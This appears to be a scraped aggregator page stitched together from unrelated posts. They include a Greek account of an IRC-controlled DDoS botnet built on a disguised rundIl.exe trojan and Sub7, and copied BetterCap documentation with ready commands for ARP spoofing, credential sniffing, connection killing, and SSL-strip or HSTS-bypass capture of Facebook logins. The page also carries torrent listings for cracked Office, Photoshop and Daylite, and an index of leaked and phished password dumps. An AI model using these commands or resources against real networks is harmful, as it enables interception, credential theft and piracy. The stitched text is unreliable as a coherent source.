Τρόπος εκτέλεσης: Σε κάθε έναν από αυτούς του προσωπικούς υπολογιστές είχε εγκατασταθεί ένα πρόγραμμα trojan με το όνομα rundIl.exe (rundii.exe) αντί για runDLL.exe το οποίο λόγω των κακών γραμματοσειρών των Windows δεν γινόταν ορατό στον χρήστη εύκολα. Αυτό το προγραμματάκι ήταν ένα script που συνδεόταν κρυφά σε έναν IRC server και αρχικά συμπεριφερόταν σαν IRC bot**. Μετά "κατέβαζε"από το Internet ένα κομμάτι του Sub7 trojan δίνοντας απόλυτο έλεγχο στον προσωπικό υπολογιστή του χρήστη. Για να εκτελεστούν οι D.D.O.S. επιθέσεις αρκούσε το αρχικό script αλλά το Sub7 έδινε την δυνατότητα στον hacker* να μπορεί να δει και όλα τα αρχεία του ηλεκτρονικού υπολογιστή του χρήστη καθώς επίσης και να κλέψει όλα τα passwords ή οτιδήποτε άλλο του ήταν χρήσιμο.


Κάθε χρήστης αυτών των υπολογιστών αμέσως μόλις συνδεόταν στο Internet ο υπολογιστής του κρυφά συνδεόταν σε έναν IRC server και έμπαινε σε ένα κρυφό IRC channel όπου περίμενε εντολές. Μετά αρκούσε ο hacker* να δώσει μια εντολή του τύπου !p4 IP_συστήματος_στόχου και αμέσως το rundIl.exe σε κάθε υπολογιστή άρχιζε να εκτελεί εντολές του τύπου Ping Of Death αλλά με τη διαφορά ότι το μέγεθος του πακέτου ήταν 65500 ενώ η ποσότητα του ήταν 10,000 ping requests. Σε συνδυασμό με την εντολή !udp IP_συστήματος_στόχου με την οποία στέλνονταν 1 εκατομμύριο invalid UDP πακέτα με μηδενική αναμονή (delay) μεταξύ τους, έφταναν για να απορροφήσουν όλο το bandwidth του συστήματος και να του κόψουν τη σύνδεση από το Internet.

Ήταν αδύνατον να βρεθεί ποιος έκανε αυτού του τύπου την επίθεση γιατί ο hacker* χρησιμοποιούσε υπολογιστές απλών ανθρώπων που συνδέονταν στο Internet και ήταν αρκετά αφελείς για να δέχονται οποιοδήποτε αρχείο που τους αποστελλόταν χωρίς έλεγχο και δεν χρησιμοποιούσαν ένα καλό firewall*** για προστασία.

Κανένα σύστημα συνδεδεμένο στο Internet δεν είναι ασφαλές από D.D.O.S. επίθεση. Όλα τα λειτουργικά μπορούν και να προσβληθούν και να χρησιμοποιηθούν για τέτοιες επιθέσεις : Unix, Linux, Windows9x, NT, 2K ακόμα και Apple MacOS. Κανένας χρήστης του Internet δεν είναι ασφαλής αν δεν χρησιμοποιεί έναν καλό συνδυασμό προγράμματος προστασίας ενάντια στους ιούς (antivirus) και ένα καλό firewall.

Vampyre

Το μήνυμα στις google για το blogger

$
0
0

BetterCap MITM framework.

$
0
0




Introduction


BetterCAP is a powerful, flexible and portable tool created to perform various types of MITMattacks against a network, manipulate HTTP, HTTPS and TCP traffic in realtime, sniff for credentials and much more.



You Are the Man in the Middle


What is a MITM ( Man In The Middle ) attack? Let’s ask Wikipedia!
In cryptography and computer security, a man-in-the-middle attack (often abbreviated to MITM, MitM, MIM, MiM attack or MITMA) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other. Man-in-the-middle attacks can be thought about through a chess analogy. Mallory, who barely knows how to play chess, claims that she can play two grandmasters simultaneously and either win one game or draw both. She waits for the first grandmaster to make a move and then makes this same move against the second grandmaster. When the second grandmaster responds, Mallory makes the same play against the first. She plays the entire game this way and cannot lose. A man-in-the-middle attack is a similar strategy and can be used against many cryptographic protocols. One example of man-in-the-middle attacks is active eavesdropping, in which the attacker makes independent connections with the victims and relays messages between them to make them believe they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker. The attacker must be able to intercept all relevant messages passing between the two victims and inject new ones. This is straightforward in many circumstances; for example, an attacker within reception range of an unencrypted Wi-Fi wireless access point, can insert himself as a man-in-the-middle.



This is quite a generic description, mostly because ( if we’re talking about network MITM attacks ), the logic and details heavily rely on the technique being used ( more in the spoofing section ).


Nevertheless we can simplify the concept with an example. When you connect to some network ( your home network, some public WiFi, StarBucks, etc ), the router/switch is responsible for forwarding all of your packets to the correct destination, during a MITM attack we “force” the network to consider our device as the router ( we “spoof” the original router/switch address in some way ):





Once this happens, all of the network traffic goes through your computer instead of the legit router/switch and at that point you can do pretty much everything you want, from just sniffing for specific data ( emails, passwords, cookies, etc of other people on your network ) to actively intercepting and proxying all the requests of some specific protocol in order to modify them on the fly ( you can, for instance, replace all images of all websites being visited by everyone, kill connections, etc ).


BetterCap is responsible for giving the security researcher everything he needs in one single toolwhich simply works, on GNU/Linux, Mac OS X and OpenBSD systems.



Use Cases


You might think that BetterCAP is just another tool which helps script-kiddies to harm networks ... but it’s much more than that, its use cases are many, for instance:
Many professional penetration testers find a great companion in bettercap since its very first release.
Reverse engineers are using it in order to reverse or modify closed network protocols.
Mobile/IoT security researchers are exploiting bettercap capabilities to test the security of mobile systems.



Why another MITM tool?


This is exactly what you are thinking right now, isn’t it? :D But allow yourself to think about it for 5 more minutes ... what you should be really asking is:


Does a complete, modular, portable and easy to extend MITM tool actually exist?


If your answer is “ettercap”, let me tell you something:
Ettercap was a great tool, but it made its time.
Ettercap filters do not work most of the times, are outdated and hard to implement due to the specific language they’re implemented in.
Ettercap is freaking unstable on big networks ... try to launch the host discovery on a bigger network rather than the usual /24 ;)
Yeah you can see connections and raw pcap stuff, nice toy, but as a professional researcher I want to see only relevant stuff.
Unless you’re a C/C++ developer, you can’t easily extend ettercap or make your own module.


Moreover:
Ettercap’s and MITMf’s ICMP spoofing is completely useless, ours is not.
Ettercap does not provide a builtin and modular HTTP(S) and TCP transparent proxies, we do.
Ettercap does not provide a smart and fully customizable credentials sniffer, we do.

Installation


BetterCap comes packaged as a Ruby gem, meaning you will need a Ruby interpreter ( >= 1.9 ) and a RubyGems environment installed. Moreover, it is fully compatible with GNU/Linux, Mac OS X and OpenBSD platforms.



Dependencies


All Ruby dependencies will be automatically installed through the GEM system, however some of the GEMS need native libraries in order to compile:
sudo apt-get install build-essential ruby-dev libpcap-dev




Installing on Kali Linux


Kali Linux has bettercap packaged and added to the kali-rolling repositories. To install bettercap and all dependencies in one fell swoop on the latest version of Kali Linux:
apt-get update apt-get install bettercap




Stable Release ( GEM )


You can easily install bettercap using the gem install GEMNAME command:
gem install bettercap



To update to a newer release:
gem update bettercap



If you have trouble installing bettercap read the following sections about dependencies.


Note


If you installed bettercap using a RVM installation, you will need to execute it using rvmsudo:

rvmsudo bettercap ...

Otherwise, if you installed it globally ( sudo gem install bettercap ) you can use sudo:

sudo bettercap ...



Development Release


Instead of the stable release, you can also clone the source code from the github repository, this will give you all the latest and experimental features, but remember that you’re using a potentially unstable release:
git clone https://github.com/evilsocket/bettercap cd bettercap bundle install gem build bettercap.gemspec sudo gem install bettercap*.gem




Quick Start


Once you’ve installed bettercap, quickly get started with:
bettercap --help



The help menu will show you every available command line option and a few examples.




Contributing


As any other open source projects, there’re many ways you can contribute to bettercap depending on your skills as a developer or will to help as a user.



Submitting Issues


If you find bugs or inconsistencies while using bettercap, you can create an Issue using the GitHub Issue tracker, but before doing that please make sure that:
You are using a relatively new Ruby version ( >= 1.9 ) : ruby -v.
Your GEM environment is configured properly and updated : sudo gem update.
You are using the latest version of bettercap : bettercap --check-updates.
The bug you’re reporting is actually related to bettercap and not to one of the other GEMs.


Once you’ve gone through this list, open an issue and please give us as much as informations as possible in order for us to fix the bug as soon as possible:
Your OS version.
Ruby version you’re using.
Full output of the error ( exception backtrace, error message, etc ).
Your network configuration: ifconfig -a


Also, you should attach to the issue a debug log that you can generate with:
sudo bettercap [arguments you are using for testing] --debug --log=debug.log



Wait for the error to happen then close bettercap and paste the debug.log file inside the issue.



Improving the Documentation


If you want to help, you can improve this documentation cloning our code repository and updating the contents of the docs folder.



Pull Requests


If you know how to code in Ruby and have ideas to improve bettercap, you’re very welcome to send us pull requests, we’ll be happy to merge them whenever they comply to the following rules:
You have at least manually tested your code, ideally you’ve created actual tests for it.
Respect our coding standard, 2 spaces indentation and modular code.
There’re no conflicts with the current dev branch.
Your commit messages are enough explanatory to us.


There’re plenty of things you can to do improve the software:
Implement a new proxy module and push it to the dedicated repository.
Implement a new Spoofer module.
Implement a new Sniffer credentials parser.
Fix, extend or improve the core.

General Options


The following are the main options that determine the general behaviour of BetterCap, these options are not mandatory, in fact bettercap will automatically detect everything it needs in order to work, you just might need to use one or more of the following options to specify some custom behaviour in specific cases.



Examples


Attack specific targets:


sudo bettercap -T 192.168.1.10,192.168.1.11


Attack a specific target by its MAC address:


sudo bettercap -T 01:23:45:67:89:10


Attack a range of IP addresses:


sudo bettercap -T 192.168.1.1-30


Attack a specific subnet:


sudo bettercap -T 192.168.1.1/24


Randomize the interface MAC address during the attack:


sudo bettercap --random-mac



Options



-I, --interface IFACE


BetterCAP will automatically detect your default network interface and use it, if you want to make it use another interface ( when you have more than one, let’s say eth0 and wlan0 ) you can use this option.



--use-mac ADDRESS


Change the interface MAC address to this value before performing the attack.



--random-mac


Change the interface MAC address to a random one before performing the attack.



-G, --gateway ADDRESS


The same goes for the gateway, either let bettercap automatically detect it or manually specify its address.



-T, --target ADDRESS1,ADDRESS2


If no specific target is given on the command line, bettercap will spoof every single address on the network. There are cases when you already know the IP or MAC address of your target(s), in such cases you can use this option.



--ignore ADDRESS1,ADDRESS2


Ignore these IP addresses if found while searching for targets.



--no-discovery


Do not actively search for hosts, just use the current ARP cache, default to false.



--no-target-nbns


Disable target NBNS hostname resolution.



--packet-throttle NUMBER


Number of seconds ( can be a decimal number ) to wait between each packet to be sent.



--check-updates


Will check if any update is available and then exit.



-h, --help


Display the available options.




Logging


These options determine how bettercap console logger is going to behave.



Examples


Save log output to the out.log file:


sudo bettercap --log out.log


Save log output to the out.log file and suppress terminal output:


sudo bettercap --log out.log --silent


Save log output to the out-ts.log file and enable timestamps for each line:


sudo bettercap --log-timestamp --log out-ts.log



Options



-O, --log LOG_FILE


Log all messages into a file, if not specified the log messages will be only print into the shell.



--log-timestamp


Enable logging with timestamps for each line, disabled by default.



-D, --debug


Enable debug logging, it is good practice to use this option while reporting a bug in order to have the full debug log of the program.



--silent


Suppress every message which is not an error or a warning, default to false.




Spoofing


As previously described in the introduction section, spoofing is the very hearth of every MITM attack. These options will determine which spoofing technique to use and how to use it.


BetterCap already includes an ARP spoofer ( working both in full duplex and half duplex mode which is the default ), a DNS spoofer and the first, fully working and completely automatized ICMP DoubleDirect spoofer in the world



Examples


Use the good old ARP spoofing:


sudo bettercap or sudo bettercap -S ARP or sudo bettercap --spoofer ARP


Use a full duplex ICMP redirect spoofing attack:


sudo bettercap -S ICMP or sudo bettercap --spoofer ICMP


Disable spoofing:


sudo bettercap -S NONE or sudo bettercap --spoofer NONE or sudo bettercap --no-spoofing


No dear 192.168.1.2, you won’t connect to anything anymore :D


sudo bettercap -T 192.168.1.2 --kill



Options



-S, --spoofer NAME


Spoofer module to use, available: ARP, ICMP, NONE - default: ARP.



--no-spoofing


Disable spoofing, alias for --spoofer NONE / -S NONE.



--kill


Instead of forwarding packets, this switch will make targets connections to be killed.



--full-duplex


Enable full-duplex MITM, this will make bettercap attack both the target(s) and the router.




Sniffing & Credentials Harvesting


The builtin sniffer is currently able to dissect and print from the network ( or from a previously captured PCAP file ) the following informations:
URLs being visited.
HTTPS hosts being visited.
HTTP POSTed data.
HTTP Basic and Digest authentications.
HTTP Cookies.
FTP credentials.
IRC credentials.
POP, IMAP and SMTP credentials.
NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.
DICT Protocol credentials.
MPD Credentials.
NNTP Credentials.
DHCP messages and authentication.
REDIS login credentials.
RLOGIN credentials.
SNPP credentials.
And more!


Note


New parsers are implemented almost on a regular basis for each new release, for a full and updated list check the SNIFFING section in the "bettercap --help" menu.



Examples


Use bettercap as a simple local network sniffer:


sudo bettercap --local or sudo bettercap -L


Use the capture.pcap file in your home directory as a packets source:


sudo bettercap --sniffer-source ~/capture.pcap


Spoof the whole network and save every packet to the capture.pcap file in your home directory:


sudo bettercap --sniffer-output ~/capture.pcap


Spoof the whole network but only sniff HTTP traffic:


sudo bettercap --sniffer-filter "tcp port http"


Spoof the whole network and extract data from packets containing the “password” word:


sudo bettercap --custom-parser ".*password.*"



Options



-X, --sniffer


Enable sniffer.



-L, --local


By default bettercap will only parse packets coming from/to other addresses on the network, if you also want to process packets being sent or received from your own computer you can use this option ( NOTE: will enable the sniffer ).



--sniffer-source FILE


Load packets from the specified PCAP file instead of the network interface ( NOTE: will enable the sniffer ).



--sniffer-output FILE


Save all packets to the specified PCAP file ( NOTE: will enable the sniffer ).



--sniffer-filter EXPRESSION


Configure the sniffer to use this BPF filter ( NOTE: will enable the sniffer ).



-P, --parsers PARSERS


Comma separated list of packet parsers to enable, * for all ( NOTE: will enable the sniffer ), available: COOKIE, CREDITCARD, DHCP, DICT, FTP, HTTPAUTH, HTTPS, IRC, MAIL, MPD, MYSQL,NNTP, NTLMSS, PGSQL, POST, REDIS, RLOGIN, SNMP, SNPP, URL, WHATSAPP, default to *.



--custom-parser EXPRESSION


Use a custom regular expression in order to capture and show sniffed data ( NOTE: will enable the sniffer ).




About Proxying


Bettercap is shipped with a HTTP/HTTPS ( with SSL Stripping and HSTS Bypass ) and raw TCP transparent proxies that you can use to manipulate HTTP/HTTPS or low level TCP traffic at runtime, for instance you could use the HTTP/HTTPS proxy to inject javascripts into the targets visited pages ( BeEF would be a great choice :D ), replace all the images, etc or use the TCP one for other protocols ( downgrade encryption with STARTTLS, dump custom protocols and so forth.





Once one or more proxies are enabled, bettercap will take care of the spoofing and the firewall rules needed in order to redirect your targets’ traffic to the proxy itself.


By default the builtin proxies won’t do anything but logging all the requests, additionally you can specify a “module” to use and you will be able to load one of the builtin plugins ( or your own ) and manipulate all the traffic as you like.




HTTP/HTTPS


Bettercap is shipped with both a HTTP and a HTTPS transparent proxies that you can use to manipulate HTTP and HTTPS traffic at runtime ( inject javascripts into the targets visited pages, replace the images, etc ). By default the builtin proxies won’t do anything but logging HTTP(S) requests, but if you specify a --proxy-module argument you will be able to load one of the builtin modules ( or your own ) and manipulate HTTP traffic as you like.


Builtin modules are:
InjectJS ( --proxy-module injectjs ) : Used to inject javascript code/files inside HTML pages.
InjectCSS ( --proxy-module injectcss ) : Used to inject CSS code/files inside HTML pages.
InjectHTML ( --proxy-module injecthtml ) : Used to inject HTML code inside HTML pages.


HTTP/HTTPS proxy modules might want additional command line arguments, it’s always a good idea to look at their specific help menus:


bettercap --proxy-module NAME -h



Sample Module


You can easily implement a module to inject data into pages or just inspect the requests/responses creating a ruby file and passing it to bettercap with the --proxy-module argument, the following is a sample module that injects some contents into the title tag of each html page, you can find other examples modules in the proxy modules dedicated repository.




class HackTitle < BetterCap::Proxy::HTTP::Module


meta(


'Name' => 'HackTitle',


'Description' => 'Adds a "!!! HACKED !!!" string to every webpage title.',


'Version' => '1.0.0',


'Author' => "Simone 'evilsocket' Margaritelli",


'License' => 'GPL3'


)



# called before the request is performed


def on_pre_request( request ); end



# this method is called after the request is performed


def on_request( request, response )


# is it a html page?


if response.content_type =~ /^text\/html.*/


BetterCap::Logger.info "Hacking http://#{request.host}#{request.url}"


# make sure to use sub! or gsub! to update the instance


response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )


end


end


end



view rawhack_title.rb hosted with ❤ by GitHub



HTTP



SSL Stripping


SSL stripping is a technique introduced by Moxie Marlinspike during BlackHat DC 2009, the website description of this technique goes like:


It will transparently hijack HTTP traffic on a network, watch for HTTPS links and redirects, then map those links into either look-alike HTTP links or homograph-similar HTTPS links.


Long story short, this technique will replace every https link in webpages the target is browsing withhttp ones so, if a page would normally look like:
... <a href="https://www.facebook.com/">Login</a> ...



During a SSL stripping attack its HTML code will be modified as:
... <a href="http://www.facebook.com/">Login</a> ...



Being the man in the middle, this allow us to sniff and modify pages that normally we wouldn’t be able to even see.



HSTS Bypass


SSL stripping worked quite well until 2010, when the HSTS specification was introduced, Wikipedia says:


HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797.


Moreover HSTS policies have been prebuilt into major browsers meaning that now, even with a SSL stripping attack running, the browser will connect to HTTPS anyway, even if the http:// schema is specified, making the attack itself useless.

Picture credits to Scott Helme



For this reason, Leonardo Nve Egea presented sslstrip+ ( or sslstrip2 ) during BlackHat Asia 2014. This tool was an improvement over the original Moxie’s version, specifically created to bypass HSTS policies. Since HSTS rules most of the time are applied on a per-hostname basis, the trick is to downgrade HTTPS links to HTTP and to prepend some custom sub domain name to them. Every resulting link won’t be valid for any DNS server, but since we’re MITMing we can resolve these hostnames anyway.


Let’s take the previous example page:
... <a href="https://www.facebook.com/">Login</a> ...



A HSTS bypass attack will change it to something like:
... <a href="http://wwww.facebook.com/">Login</a> ...

Notice that https has been downgraded to http and www replaced with wwww ).



When the “victim” will click on that link, no HSTS rule will be applied ( since there’s no rule for such subdomain we just created ) and the MITM software ( BetterCap in our case ^_^ ) will take care of the DNS resolution, allowing us to see and alter the traffic we weren’t supposed to see.





Demonstration


The following video demonstrates how to perform SSL Stripping and HSTS Bypass attacks in order to capture the Facebook login credentials of a specific target.





HTTPS



Server Name Indication


Server Name Indication (SNI) is an extension to the TLS computer networking protocol by which a client indicates which hostname it is attempting to connect to at the start of the handshaking process. This allows a server to present multiple certificates on the same IP address and TCP port number and hence allows multiple secure (HTTPS) websites (or any other Service over TLS) to be served off the same IP address without requiring all those sites to use the same certificate.


Using the SNI callback, BetterCAP’s HTTPS proxy is able to detect the upstream server host using the following logic:
Client connects to a HTTPS server while being transparently proxied by us.
We catch the upstream server hostname in the SNI callback.
We pause the callback, connect to the upstream server and fetch its certificate.
We resign that certificate with our own CA and use it to serve the client.


This way, as long as you have BetterCap’s certification authority PEM file installed on the target device, you won’t see any warnings or errors since correct certificate will be spoofed in realtime.


There’re a couple of caveats of course:
If you don’t install either bettercap’s CA or your custom CA on the target device, you’ll see warnings and errors anyway (duh!).
Every application using certificate/public Key pinning will detect the attack even with the CA installed.



Installing Certification Authority


Since version 1.4.4 BetterCAP comes with a pre made certification authority file which is extracted in your home directory the first time you’ll launch the HTTPS proxy, you’ll find the file as:
~/.bettercap/bettercap-ca.pem



You’ll need to install this file on the device you want to transparently proxy HTTPS connection for, the procedure is OS specific as mentioned in a previous blog post:
iOS - http://kb.mit.edu/confluence/pages/viewpage.action?pageId=152600377
iOS Simulator - https://github.com/ADVTOOLS/ADVTrustStore#how-to-use-advtruststore
Java - http://docs.oracle.com/cd/E19906-01/820-4916/geygn/index.html
Android/Android Simulator - http://wiki.cacert.org/FAQ/ImportRootCert#Android_Phones_.26_Tablets
Windows - http://windows.microsoft.com/en-ca/windows/import-export-certificates-private-keys#1TC=windows-7
Mac OS X - https://support.apple.com/kb/PH7297?locale=en_US
Ubuntu/Debian - http://askubuntu.com/questions/73287/how-do-i-install-a-root-certificate/94861#94861
Mozilla Firefox - https://wiki.mozilla.org/MozillaRootCertificate#Mozilla_Firefox
Chrome on Linux - https://code.google.com/p/chromium/wiki/LinuxCertManagement


Once you’ve done, just use the --proxy-https bettercap command line argument to enable the HTTPS proxy and you’re ready to go.



Options



--proxy-upstream-address ADDRESS


If set, only requests coming from this server address will be redirected to the HTTP/HTTPS proxies.



--allow-local-connections


Allow direct connections to the proxy instance, default to false.



--proxy


Enable HTTP proxy and redirects all HTTP requests to it, default to false.



--proxy-port PORT


Set HTTP proxy port, default to 8080.



--no-sslstrip


Disable SSL stripping and HSTS bypass.



--log-http-response


Log HTTP responses.



--proxy-module MODULE


Ruby proxy module to load, either a custom file or one of the following: injectcss, injecthtml,injectjs.



--http-ports PORT1,PORT2


Comma separated list of HTTP ports to redirect to the proxy, default to 80.



--proxy-https


Enable HTTPS proxy and redirects all HTTPS requests to it, default to false.



--proxy-https-port PORT


Set HTTPS proxy port, default to 8083.



--proxy-pem FILE


Use a custom PEM CA certificate file for the HTTPS proxy, default to~/.bettercap/bettercap-ca.pem.



--https-ports PORT1,PORT2


Comma separated list of HTTPS ports to redirect to the proxy, default to 443.




TCP


If you want to actively modify packets of a TCP protocol which is not HTTP or HTTPS, you’ll need the TCP proxy. This event-based proxy will allow you to intercept anything sent/received to/from a specific host using your own custom module.



Sample Module


The following example module won’t do anything but dumping the data being transmitted from/to the target, you can access the event object in order to modify the data on the fly.




class Example < BetterCap::Proxy::TCP::Module


meta(


'Name' => 'Example',


'Description' => 'Example TCP proxy module.',


'Version' => '1.0.0',


'Author' => "Simone 'evilsocket' Margaritelli",


'License' => 'GPL3'


)



# Received when the victim is sending data to the upstream server.


def on_data( event )


# You can access the request data being sent using the event object:


#


# event.data.gsub!( 'SOMETHING', 'ELSE' )


#


BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"


end


# Received when the upstream server is sending a response to the victim.


def on_response( event )


# You can access the response data being received using the event object:


#


# event.data.gsub!( 'SOMETHING', 'ELSE' )


#


BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"


end


end



view rawexample.rb hosted with ❤ by GitHub


If you want to load such module and dump all the ( let’s say ) MySQL traffic from/to themysql.example.com host you would do:
sudo bettercap --tcp-proxy-module example.rb --tcp-proxy-upstream mysql.example.com:3306



And you would be ready to go.



Options



--tcp-proxy


Enable the TCP proxy ( requires other --tcp-proxy-* options to be specified ).



--tcp-proxy-module MODULE


Ruby TCP proxy module to load.



--tcp-proxy-port PORT


Set local TCP proxy port, default to 2222.



--tcp-proxy-upstream-address ADDRESS


Set TCP proxy upstream server address.



--tcp-proxy-upstream-port PORT


Set TCP proxy upstream server port.



--tcp-proxy-upstream ADDRESS:PORT


Set TCP proxy upstream server address and port ( shortcut for--tcp-proxy-upstream-address ADDRESS and --tcp-proxy-upstream-port PORT ).




Third Party Proxies


If you want to use some custom proxy of yours ( BurpSuite for instance, or some custom app you wrote ) you can still use bettercap to make the whole process easier, no more crappy shell scripts to apply custom firewall rules and launch “esotic” commands!


For instance, if you want to attack the whole network and redirect all HTTP traffic to your local BurpSuite installation ( in this example 192.168.1.2 is your computer ip address ):
sudo bettercap --custom-proxy 192.168.1.2




--custom-proxy ADDRESS


Use a custom HTTP upstream proxy instead of the builtin one.



--custom-proxy-port PORT


Specify a port for the custom HTTP upstream proxy, default to 8080.



--custom-https-proxy ADDRESS


Use a custom HTTPS upstream proxy instead of the builtin one.



--custom-https-proxy-port PORT


Specify a port for the custom HTTPS upstream proxy, default to 8083.



--custom-redirection RULE


Apply a custom port redirection, the format of the rule is PROTOCOL ORIGINAL_PORT NEW_PORT. For instance TCP 21 2100 will redirect all TCP traffic going to port 21, to port 2100.

Microsoft Office For Mac 2016 15.22 + Crack

$
0
0
NameMicrosoft Office For Mac 2016 v15.22 + Update + License Installer.rar
Size1.97 GB
Created on2016-05-08 18:32:19
Hashd646e3ce26a1250ec8bb95491174199936300960
FilesMicrosoft Office For Mac 2016 v15.22 + Update + License Installer.rar (1.97 GB)











DescriptionName:
Microsoft Office For Mac 2016 Version: 15.22 Mac Platform: Intel OS version: 10.10 or later Processor type(s) & speed: 64-bit Includes: Crack More information: https://products.office.com/en-us/mac/microsoft-office-for-mac 

Overview
 Microsoft has announced the release of the preliminary version of the office suite Office 2016 for the Mac. The new Office for Mac is the first major upgrade package Microsoft Office applications on the platform OS X since the release version of Office 2011. The new version of the program includes Word, Excel, PowerPoint, OneNote and Outlook, and also brings a lot of new features, including support for high-resolution displays Retina and full-screen applications. The main focus of her made on standardization and better integration with cloud-based service OneDrive.








Adobe Photoshop CC 2015.5 17.0.1

$
0
0

NameAdobe Photoshop CC 2015 17.0.1
Size1.39 GB
Created on2016-08-11 00:59:48
Trackerhttp://109.235.50.166:2710/announce
Hash94cc0e97accfedba60870d2754103baca6f91488
FilesAdoPS1701.zip (1.39 GB)







Description:

Name: Adobe Photoshop CC 2015 for Mac Version: 17.0.1 Release Date: 09 Aug 2016 Mac Platform: Intel System Requirement: ・Intel, 64-bit processor ・OS X 10.9 or later ・2 GB RAM (8 GB recommended) ・2 GB of available hard-disk space for installation; additional free space required during installation (cannot install on a volume that uses a case-sensitive file system or on removable flash storage devices) ・1024x768 display (1280x800 recommended) with 16-bit color and 512MB of VRAM (1GB VRAM required for 3D features) ・OpenGL 2.0-capable system ・Internet connection Web Site: https://www.adobe.com/products/photoshop/selector.html 

Overview:

 Adobe Photoshop CC 2015, the industry standard for digital image processing and editing, delivers a comprehensive package of professional retouching tools, and is packed with powerful editing features designed to inspire. 
What's New in Version 17.0.1 (2015.5.1):
 Note: Update is ~819 MB. ・Addresses a number of issues discovered after Adobe Photoshop CC 17.0.0 (2015.5) was released
 

Daylite Server 6.0.6

$
0
0

Βελτιώνει την παραγωγικότητα και την αποδοτικότητα μιας επιχείρησης με Daylite.

Η τεχνολογία μπορεί να μας βοηθήσει να διαχειριστείτε την επιχείρησή μας αποτελεσματικά. Στην πραγματικότητα, υπάρχει είναι ένα τεράστιο ποσό του λογισμικού που μας βοηθά να οργανώσετε, να επανεξετάσει και να διατηρήσει τον έλεγχο των αποθεμάτων, συναντήσεις χρονοδιάγραμμα, και πολλά άλλα. Για όσους δεν επιθυμούν να έχουν διαφορετικές υπηρεσίες για κάθε μία από τις ανάγκες τους, και χρησιμοποιούν Mac, μια καλή εναλλακτική λύση μπορεί να είναι Daylite, ένα πρόγραμμα που έχει υπάρξει για πολύ και ότι είναι μία από τις καλύτερες εφαρμογές για το OS X. Daylite επιχειρήσεων πάντα ήξερα πώς να προσαρμοσθεί στους καιρούς, και τώρα θα δούμε πώς μπορεί να μας βοηθήσει να βελτιώσει την επιχείρησή μας.

Daylite είναι μία από τις επιχειρηματικές εφαρμογές που αναπτύχθηκαν από Marketcircle, και μας δίνει πολλές εναλλακτικές λύσεις όταν την παραγγελία. Είναι ιδανικό για τις μικρές επιχειρήσεις που ξαφνικά βρίσκουν τους εαυτούς τους αυξάνεται και χρειάζεται ένα εργαλείο που θα συνοδεύει αυτή την ανάπτυξη με την ενσωμάτωση πολλαπλών υπηρεσιών εφαρμογής. Έτσι, μέσα σε ένα μόνο παράθυρο θα είμαστε σε θέση να βρείτε όλα όσα χρειαζόμαστε, από το ηλεκτρονικό ταχυδρομείο, με χρονοδιάγραμμα, σε μια λίστα εργασιών, την επανεξέταση των στόχων, εκθέσεις, ομάδες και περισσότερο.

Όνομα: Daylite διακομιστή
Έκδοση: 6.0.6
Γλώσσα: Αγγλικά
Περιλαμβάνει: Serial

έκδοση του λειτουργικού συστήματος: 10.10 ή νεότερη
Περισσότερες πληροφορίες: https://www.marketcircle.com/daylite/

δωρεάν download torrent Daylite διακομιστή 6.0.6 για Mac OS X

Password dictionaries, Leaked

$
0
0

Password dictionaries

These are dictionaries that come with tools/worms/etc, designed for cracking passwords. As far as I know, I'm not breaking any licensing agreements by mirroring them with credit; if you don't want me to host one of these files, let me know and I'll remove it.
Name Compressed Uncompressed Notes
John the Ripperjohn.txt.bz2 (10,934 bytes) n/a Simple, extremely good, designed to be modified
Cain & Abelcain.txt.bz2 (1,069,968 bytes) n/a Fairly comprehensive, not ordered
Conficker worm conficker.txt.bz2 (1411 bytes) n/a Used by conficker worm to spread -- low quality
500 worst passwords500-worst-passwords.txt.bz2 (1868 bytes) n/a
370 Banned Twitter passwordstwitter-banned.txt.bz2 (1509 bytes) n/a

Leaked passwords

Passwords that were leaked or stolen from sites. I'm hosting them because it seems like nobody else does (hopefully it isn't because hosting them is illegal :)). Naturally, I'm not the one who stole these; I simply found them online, removed any names/email addresses/etc (I don't see any reason to supply usernames -- if you do have a good reason, email me (ron-at-skullsecurity.net) and I'll see if I have them.

The best use of these is to generate or test password lists.

Note: The dates are approximate.
Name Compressed Uncompressed Date Notes
Rockyou rockyou.txt.bz2 (60,498,886 bytes) n/a 2009-12 Best list available; huge, stolen unencrypted
Rockyou with count rockyou-withcount.txt.bz2 (59,500,255 bytes) n/a
phpbb phpbb.txt.bz2 (868,606 bytes) n/a 2009-01 Ordered by commonness
Cracked from md5 by Brandon Enright
(97%+ coverage)
phpbb with count phpbb-withcount.txt.bz2 (872,867 bytes) n/a
phpbb with md5 phpbb-withmd5.txt.bz2 (4,117,887 bytes) n/a
MySpace myspace.txt.bz2 (175,970 bytes) n/a 2006-10 Captured via phishing
MySpace - with count myspace-withcount.txt.bz2 (179,929 bytes) n/a
Hotmail hotmail.txt.bz2 (47,195 bytes) n/a Unknown Isn't clearly understood how these were stolen
Hotmail with count hotmail-withcount.txt.bz2 (47,975 bytes) n/a
Faithwritersfaithwriters.txt.bz2 (39,327 bytes) n/a 2009-03 Religious passwords
Faithwriters - with count faithwriters-withcount.txt.bz2 (40,233 bytes) n/a
Elitehacker elitehacker.txt.bz2 (3,690 bytes) n/a 2009-07 Part of zf05.txt
Elitehacker - with count elitehacker-withcount.txt.bz2 (3,846 bytes) n/a
Hak5 hak5.txt.bz2 (16,490 bytes) n/a 2009-07 Part of zf05.txt
Hak5 - with count hak5-withcount.txt.bz2 (16,947 bytes) n/a
Älypääalypaa.txt.bz2 (5,178 bytes) n/a 2010-03 Finnish passwords
alypaa - with count alypaa-withcount.txt.bz2 (6,013 bytes) n/a
Facebook (Pastebay)facebook-pastebay.txt.bz2 (375 bytes) n/a 2010-04 Found on Pastebay;
appear to be malware-stolen.
Facebook (Pastebay) - w/ count facebook-pastebay-withcount.txt.bz2 (407 bytes) n/a
Unknown porn site porn-unknown.txt.bz2 (30,600 bytes) n/a 2010-08 Found on angelfire.com. No clue where they originated, but clearly porn site.
